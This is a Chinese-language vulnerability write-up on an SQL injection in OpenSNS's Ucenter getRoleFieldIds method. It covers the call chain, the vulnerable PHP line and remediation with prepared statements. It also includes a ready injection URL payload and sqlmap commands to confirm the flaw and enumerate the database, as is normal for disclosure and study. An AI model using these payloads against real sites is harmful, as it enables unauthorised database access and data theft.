OpenSNS SQL注入(二)
字数 1084 2025-08-27 12:33:37

OpenSNS SQL注入漏洞分析报告

漏洞概述

OpenSNS是一款基于OneThink的轻量级社交化用户中心框架,采用PHP+MYSQL构建。本报告分析的SQL注入漏洞存在于OpenSNS的Ucenter模块中,允许攻击者通过精心构造的请求获取数据库敏感信息。

漏洞详情

漏洞位置

漏洞存在于以下文件和方法中:

  • 文件路径:./Application/Ucenter/Controller/IndexController.class.php
  • 相关方法:
    1. getExpandInfo方法(调用_profile_group_list方法)
    2. _profile_group_list方法(调用getRoleFieldIds方法)
    3. getRoleFieldIds方法(存在SQL注入漏洞)

漏洞分析

  1. 调用链分析

    • getExpandInfo方法(133行)调用_profile_group_list方法并传入$uid参数
    • _profile_group_list方法(149行)调用getRoleFieldIds方法并传入$uid参数
    • getRoleFieldIds方法(168行)直接将$uid参数拼接到SQL语句中,未做任何过滤处理
  2. 漏洞代码

    // 在getRoleFieldIds方法中
    $sql = "SELECT field_id FROM `{$this->prefix}auth_extend` WHERE `type` = 'field' AND `group_id` in (SELECT group_id FROM `{$this->prefix}auth_group_access` WHERE uid = {$uid})";
    
  3. 漏洞利用点

    • $uid参数直接拼接到SQL语句中,未使用预处理语句或进行过滤
    • 攻击者可以构造恶意uid参数进行SQL注入攻击

漏洞复现步骤

  1. 注册账号:首先需要注册一个普通用户账号

  2. 登录系统:使用注册的账号登录系统,获取有效的会话cookie

  3. 构造恶意请求

    • 访问URL:http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+
    • 携带有效的会话cookie
  4. 使用SQLMap进行自动化利用

    # 检测漏洞
    sqlmap.py -u "http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+" --cookie "PHPSESSID=xxx;opensns_OX_LOGGED_USER=xxx" --dbms "mysql" --batch
    
    # 检查是否为DBA
    sqlmap.py -u "http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+" --cookie "PHPSESSID=xxx;opensns_OX_LOGGED_USER=xxx" --dbms "mysql" --batch --is-dba
    
    # 获取当前数据库
    sqlmap.py -u "http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+" --cookie "PHPSESSID=xxx;opensns_OX_LOGGED_USER=xxx" --dbms "mysql" --batch --current-db
    

漏洞危害

  1. 数据库信息泄露(表结构、数据内容)
  2. 可能获取管理员权限
  3. 可能导致服务器被完全控制

修复建议

  1. 使用预处理语句

    // 修改getRoleFieldIds方法中的SQL语句
    $sql = "SELECT field_id FROM `{$this->prefix}auth_extend` WHERE `type` = 'field' AND `group_id` in (SELECT group_id FROM `{$this->prefix}auth_group_access` WHERE uid = ?)";
    $field_ids = $this->db->query($sql, array($uid));
    
  2. 参数过滤

    // 对输入的uid参数进行强制类型转换
    $uid = intval($uid);
    
  3. 输入验证

    • 添加对$uid参数的合法性检查
    • 确保参数值符合预期格式
  4. 最小权限原则

    • 数据库连接使用最小必要权限的账户
    • 限制Web应用对数据库的操作权限

总结

该漏洞是由于OpenSNS在getRoleFieldIds方法中直接将用户输入的$uid参数拼接到SQL语句中,未做任何过滤处理导致的SQL注入漏洞。攻击者可以利用此漏洞获取数据库敏感信息,甚至完全控制服务器。修复方案应优先考虑使用预处理语句,并对所有用户输入进行严格的验证和过滤。

OpenSNS SQL注入漏洞分析报告 漏洞概述 OpenSNS是一款基于OneThink的轻量级社交化用户中心框架,采用PHP+MYSQL构建。本报告分析的SQL注入漏洞存在于OpenSNS的Ucenter模块中,允许攻击者通过精心构造的请求获取数据库敏感信息。 漏洞详情 漏洞位置 漏洞存在于以下文件和方法中: 文件路径: ./Application/Ucenter/Controller/IndexController.class.php 相关方法: getExpandInfo 方法(调用 _profile_group_list 方法) _profile_group_list 方法(调用 getRoleFieldIds 方法) getRoleFieldIds 方法(存在SQL注入漏洞) 漏洞分析 调用链分析 : getExpandInfo 方法(133行)调用 _profile_group_list 方法并传入 $uid 参数 _profile_group_list 方法(149行)调用 getRoleFieldIds 方法并传入 $uid 参数 getRoleFieldIds 方法(168行)直接将 $uid 参数拼接到SQL语句中,未做任何过滤处理 漏洞代码 : 漏洞利用点 : $uid 参数直接拼接到SQL语句中,未使用预处理语句或进行过滤 攻击者可以构造恶意 uid 参数进行SQL注入攻击 漏洞复现步骤 注册账号 :首先需要注册一个普通用户账号 登录系统 :使用注册的账号登录系统,获取有效的会话cookie 构造恶意请求 : 访问URL: http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+ 携带有效的会话cookie 使用SQLMap进行自动化利用 : 漏洞危害 数据库信息泄露(表结构、数据内容) 可能获取管理员权限 可能导致服务器被完全控制 修复建议 使用预处理语句 : 参数过滤 : 输入验证 : 添加对 $uid 参数的合法性检查 确保参数值符合预期格式 最小权限原则 : 数据库连接使用最小必要权限的账户 限制Web应用对数据库的操作权限 总结 该漏洞是由于OpenSNS在 getRoleFieldIds 方法中直接将用户输入的 $uid 参数拼接到SQL语句中,未做任何过滤处理导致的SQL注入漏洞。攻击者可以利用此漏洞获取数据库敏感信息,甚至完全控制服务器。修复方案应优先考虑使用预处理语句,并对所有用户输入进行严格的验证和过滤。